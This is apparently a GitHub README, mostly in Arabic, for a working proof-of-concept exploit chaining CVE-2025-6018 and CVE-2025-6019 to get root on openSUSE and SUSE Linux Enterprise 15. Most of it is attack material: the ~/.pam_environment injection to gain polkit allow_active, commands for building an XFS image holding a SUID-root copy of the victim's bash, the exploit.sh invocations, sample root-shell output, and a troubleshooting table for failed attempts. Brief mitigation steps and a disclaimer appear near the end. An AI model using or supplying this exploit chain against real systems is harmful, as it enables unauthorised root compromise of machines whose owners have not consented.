
CVE-2025-6018 CVE-2025-6019 PoC Exploit - Local Privilege Escalation في openSUSE/SUSE Linux Enterprise 15 - PAM bypass + udisks2 XFS race condition LPE إلى root
استغلال PoC عامل لـ CVE-2025-6018 و CVE-2025-6019 - تصعيد الصلاحيات من مستخدم غير مميز إلى الجذر على openSUSE Leap 15.x و SUSE Linux Enterprise 15.x
| CVE ID | الثغرة | التأثير |
|---|---|---|
| CVE-2025-6018 | حقن متغيرات البيئة في PAM | تجاوز إلى حالة polkit allow_active |
| CVE-2025-6019 | حالة سباق في تغيير حجم XFS عبر udisks2/libblockdev | شل الجذر |
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
# التحقق من الثغرة
./exploit.sh --check
# إعداد تجاوز PAM (CVE-2025-6018)
./exploit.sh --setup
# أعد اتصال SSH، ثم: su - $USER
# استغلال (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# النتيجة: شل الجذر
uid=1000(user) gid=1000(user) euid=0(root)
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
⚠️ ملاحظة: يصل openSUSE Leap 15.6 إلى نهاية الدعم في 30 أبريل 2026. بعد هذا التاريخ، لن يتم إصدار تصحيحات أمنية. يجب على المستخدمين الترحيل إلى Leap 16.0 أو SLES مع الدعم الممتد.
user_readenv=1allow_active: yes لإجراءات udisks2./exploit.sh --check
./exploit.sh --setup
# ثم: اخرج من SSH، أعد الاتصال، نفذ: su - $USER
./exploit.sh --exploit /tmp/xfs.img
./exploit.sh --auto /tmp/xfs.img
./exploit.sh --create-image
نفذ على جهاز المهاجم كجذر:
⚠️ يجب عليك استخدام ثنائي
/usr/bin/bashللضحية، وليس الثنائي المحلي الخاص بك. سيفشل ثنائي bash من توزيعة مختلفة (Kali, Arch, Ubuntu، إلخ) على الهدف بسبب عدم توافق ABI لمكتبات glibc/المشتركة — حتى على نفس بنية x86_64.
يكتشف السكريبت تلقائياً إصدار xfsprogs ويطبق العلامات الصحيحة:
# احصل على bash الضحية أولاً
scp user@target:/usr/bin/bash /tmp/victim_bash
# إنشاء الصورة (يكتشف تلقائيًا علامات mkfs الآمنة)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# لأهداف SUSE 15 SP1-SP4 (kernel < 5.14)، استخدم وضع التوافق:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
sudo su -
# 1. احصل على ثنائي bash للضحية
scp user@target:/usr/bin/bash /tmp/bash
# 2. إنشاء صورة XFS بحجم 300MB مع علامات آمنة
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. تحميل مع دعم SUID
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. نسخ bash الضحية وتعيين بت SUID
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # يجب أن يظهر: -rwsr-xr-x
# 5. فك التحميل ونقل
umount /tmp/mnt
scp xfs.img user@target:/tmp/
يجب أن يتم تنسيق صورة XFS بعلامات متوافقة مع نواة الهدف. الإصدارات الأحدث من xfsprogs تفعّل ميزات القرص الافتراضية التي لا تستطيع نوى SUSE الأقدم قراءتها، مما يسبب أخطاء wrong fs type, bad superblock أثناء تحميل تغيير الحجم عبر udisks2.
| الهدف | النواة | أمر mkfs.xfs |
|---|---|---|
| SUSE 15 SP5-SP6 | 5.14 / 6.4 | mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img |
| SUSE 15 SP1-SP4 | 4.12 - 5.3 | mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
لماذا؟ ميزتا exchange و parent هما ميزات للنواة 6.10+ (مفعلة افتراضياً في xfsprogs 6.x). bigtime, inobtcount, و nrext64 هي ميزات للنواة 5.10+. أمر "التوافق" SP1-SP4 (-m crc=0,reflink=0) ينشئ تنسيق XFS V4 مع تعطيل جميع الميزات الحديثة، والذي يعمل على كل إصدار SUSE 15 SP.
الثغرة: يقرأ وحدة pam_env في PAM ملف ~/.pam_environment مع user_readenv=1 (الافتراضي على SUSE)، مما يسمح بحقن متغيرات البيئة.
الاستغلال: تعيين XDG_SEAT=seat0 و XDG_VTNR=1 لخداع systemd-logind لمنح صلاحيات polkit allow_active.
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
الثغرة: عند تغيير حجم نظام ملفات XFS عبر udisks2، يقوم libblockdev بتحميل نظام الملفات مؤقتاً بدون علامة nosuid.
الاستغلال:
./exploit.sh --check
المخرجات:
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
./exploit.sh --setup
exit
ssh user@target
su - $USER
./exploit.sh --check
المخرجات:
[+] allow_active status: YES
You have allow_active privileges!
# على المهاجم:
scp xfs.img user@target:/tmp/
./exploit.sh --exploit /tmp/xfs.img
المخرجات:
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#
# تعطيل user_readenv في PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
# أو تقييد سياسة polkit لـ udisks2
# غيّر allow_active من "yes" إلى "auth_admin"
هذه الأداة مخصصة للاختبارات الأمنية المصرح بها والأغراض التعليمية فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلفون غير مسؤولين عن أي سوء استخدام.
CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev
⭐ قم بتمييز هذا المستودع بنجمة إذا ساعدك! ⭐
| المشكلة | السبب | الحل |
|---|
allow_active: NO | تجاوز PAM غير نشط | نفذ --setup، اخرج من SSH، أعد الاتصال، نفذ su - $USER |
Image is not XFS | تنسيق نظام ملفات خاطئ | استخدم mkfs.xfs، وليس mkfs.ext4 |
SUID not working | الصلاحيات غير مضبوطة | تحقق من صلاحيات -rwsr-xr-x على جهاز المهاجم |
Race condition missed | مشكلة توقيت | أعد تشغيل الاستغلال (يعمل عادةً في 1-3 محاولات) |
SUID binary segfaults or GLIBC_x.xx not found | Bash binary from wrong distro (glibc/ABI mismatch) | Use victim's /usr/bin/bash binary via scp, not your local bash |
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other error | XFS image formatted with features the target kernel can't read (xfsprogs version mismatch) | أنشئ الصورة باستخدام mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img لـ SP5/SP6، أو mkfs.xfs -f -m crc=0,reflink=0 xfs.img لـ SP1-SP4 |
XFSRace ConditionSecurityVulnerabilityPentest